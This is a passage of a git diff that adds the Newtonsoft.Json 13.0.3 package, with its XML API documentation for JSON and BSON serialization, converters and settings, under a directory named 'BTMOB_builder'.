a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic that returns a result + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Returns a Restrictions object which includes our current restrictions merged + with a restriction limiting our type + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.dll new file mode 100644 index 0000000..341d08f Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.xml new file mode 100644 index 0000000..80cb43c --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.xml @@ -0,0 +1,11363 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a F# discriminated union type to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an Entity Framework to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of 